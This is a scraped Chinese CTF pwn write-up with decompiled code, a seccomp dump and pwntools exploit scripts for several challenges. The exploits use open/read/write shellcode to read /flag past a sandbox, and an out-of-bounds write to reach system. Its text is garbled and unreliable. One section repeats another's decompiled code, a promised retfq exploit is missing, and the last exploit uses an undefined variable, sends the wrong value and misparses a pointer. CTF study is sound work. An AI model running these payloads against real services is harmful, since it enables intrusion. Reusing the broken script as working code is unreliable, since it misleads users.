1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); sandbox(); puts ("test NSS sandbox" ); mmap((void *)0x50000 , 0x1000 uLL, 7 , 50 , -1 , 0LL ); read(0 , (void *)0x50000 , 0x64 uLL); MEMORY[0x50000 ](); return 0 ; }
思路 直接往栈上搓shellcode,试试卓牛以前讲的,更换x86-64架构,进行pwn
retfq切换模式
exp1:切换模式
exp2:ORW 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from ctypes import * context(os='linux' , arch='amd64' ) libc = ELF('./libc-2.34.so' ) banary = "./myexec" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() mmap_place = 0x50000 payload = asm(shellcraft.open ('/flag' )) payload += asm(shellcraft.read(3 , mmap_place+0x300 , 0x300 )) payload += asm(shellcraft.write(1 , mmap_place+0x300 , 0x300 )) sa(b'sandbox' , payload) pi()
2.MyMem 分析 沙箱
1 2 3 4 v1 = 6 ; v2 = &v3; prctl(38 , 1LL , 0LL , 0LL , 0LL ); prctl(22 , 2LL , &v1);
seccomp-tools
1 2 3 4 5 6 7 8 9 10 $ seccomp-tools dump ./mymem line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004 : 0x06 0x00 0x00 0x00000000 return KILL 0005 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
main
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); sandbox(); puts ("test NSS sandbox" ); mmap((void *)0x50000 , 0x1000 uLL, 7 , 50 , -1 , 0LL ); read(0 , (void *)0x50000 , 0x64 uLL); MEMORY[0x50000 ](); return 0 ; }
思路 不能用更换x86-64架构,绕过orw,进行pwn
方法:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from ctypes import * context(os='linux' , arch='amd64' ) libc = ELF('./libc-2.34.so' ) banary = "./mymem" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() mmap_place = 0x50000 payload = asm(shellcraft.open ('/flag' )) payload += asm(shellcraft.read(3 , mmap_place+0x300 , 0x100 )) payload += asm(shellcraft.write(1 , mmap_place+0x300 , 0x100 )) sa(b'sandbox' , payload) pi()
3.old fashion 分析 guess_number
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 guess_number () { unsigned int v0; int v2; int i; unsigned int v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); v0 = time(0LL ); srand(v0); for ( i = 1 ; i <= 16 ; ++i ) { v4 = rand() % 100 + 1 ; printf ("Guess the number (between 1 and 100): " ); __isoc99_scanf("%d" , &v2); if ( v4 == v2 ) { puts ("Congratulations! You guessed the number correctly." ); return 1LL ; } printf ("Sorry, the correct number is %d.\n" , v4); } return 0LL ; }
本来想用正确做法的,但是在调试中,随便选的数,也能过
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { size_t size; char *v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(argc, argv, envp); if ( (unsigned int )guess_number() == 1 ) { yay(); } else { puts ("difficult? Ok , i will give you a gift , how big gift you want ? " ); __isoc99_scanf("%ld" , &size); v4 = (char *)malloc (size); printf ("here you are: %p\n" , v4); puts ("offset ? " ); __isoc99_scanf("%ld" , &size); puts ("i thint you may write /bin/sh here" ); __isoc99_scanf("%zu" , &v4[8 * size]); } _exit(0 ); }
思路 可以负向写到exit,输入/bin/sh的数字形式
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from ctypes import * libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) banary = "./zzzzz" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() system = 0x4013A6 for i in range (16 ): sla(b'Guess the number (between 1 and 100): ' , str (1 )) size = 128 sla(b'want ? ' , str (size)) p.recvuntil(b'are: ' ) heap = int (p.recv(8 ), 10 )print (hex (heap)) size2 = ((heap_addr - 0x404018 ) // 8 ) * -1 sa(b'offset ? ' , size) payload = 4199330 sa(b'i thint you may write /bin/sh here' , payload) pi()
4.most safe BF_JIT